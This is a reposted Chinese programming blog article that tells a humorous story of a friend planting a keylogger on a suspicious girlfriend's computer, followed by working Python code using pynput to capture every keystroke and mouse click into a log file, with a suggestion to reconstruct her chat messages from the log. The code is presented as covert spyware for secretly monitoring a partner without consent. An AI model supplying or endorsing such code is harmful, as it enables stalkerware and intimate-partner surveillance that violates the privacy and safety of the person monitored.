ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

Python获得女友聊天记录,一招解决疑神疑鬼

2021-10-19 11:03:11  阅读:253  来源: 互联网

标签:Python 聊天记录 pressed key keyboard press 疑神疑鬼 mouse def


就在前段时间,在大学睡我上铺的兄弟,在兄嘚群里讨论,说:他发现女朋友这几天只要下班就坐在电脑前,不是工作原因。而且只要他靠近一点就会立即退出页面,所以他一直很怀疑,在群里问我们这一个个单身狗。然后就出现下面这一段对话。

 

很多人学习python,不知道从何学起。
很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手。
很多已经做案例的人,却不知道如何去学习更加高深的知识。
那么针对这三类人,我给大家提供一个好的学习平台,免费领取视频教程,电子书籍,以及课程的源代码!
QQ群:701698587
欢迎加入,一起讨论 一起学习!

 

 

A朋友:你直接问。

B朋友:你女朋友睡了后,偷偷拿电脑查。

C朋友:咱们不吊死在一棵树上,不对劲就早点脱身。

D朋友:我觉得A的不行,直接问容易打草惊蛇,不过他在你面前表现的这么明显,你可以去找他聊下,你们之间是不是感情出问题了。

F朋友:嘿,我不和你离的不远吗?支开你女朋友我上你家,帮你搞个能获得聊天记录的,这不就完美了吗?

 

1.使用pynput库

pynput 可以监控我们的键盘和鼠标。目前具有此类功能的库有很多,比如 pygame 等游戏库,但是当我们只需要监控键盘和鼠标时,它们就显得过于笨重了。

2.对键盘监控

在他的电脑常驻一个后台进程去实现监控键盘输入并记录下来,代码大概可以这样:

from pynput import keyboard
 
 
def on_press(key):
    print(f'{key} :pushed')
 
def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False
 
 
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
    lsn.join()

控制台打印:

 

3.对鼠标监控

from pynput import mouse
 
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')
 
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
    listener.join()

控制台打印:

 

你会发现,每条打印都被打印了两次,这是因为按下去和抬起来都会触发鼠标事件。

4.监控并记录到日志文件

from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
 
# 定义日志文件
logger.add('demo.log')
def on_press(key):
    logger.debug(f'{key} :pushed')
 
def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False
 
# 定义f1用于线程1
def f1():
    with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
        lsn.join()
 
 
 
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
        return False
    else:
        logger.debug('mid was pressed!')
 
# 定义f2用于线程2
def f2():
    # Collect events until released
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()
 
 
if __name__ == '__main__':
    # 起两个线程分别监控键盘和鼠标
    t1 = Thread(target=f1)
    t2 = Thread(target=f2)
    t1.start()
    t2.start()

查看日志内容:

 

这样键盘操作已经全部被记录,通过对这个日志文件进行简单的 NLTK 语言处理,就能复原聊天记录。
这个记录就不给你们展示了,属于隐私,但能告诉你们结果,嗯,其实他女友挺好,看我上铺兄弟每次都要加班很晚,身体有点不行了,但又好面子,所以偷偷给他在网上买补药,想给他补补~笑死

标签:Python,聊天记录,pressed,key,keyboard,press,疑神疑鬼,mouse,def
来源: https://www.cnblogs.com/pythonQqun200160592/p/15423871.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有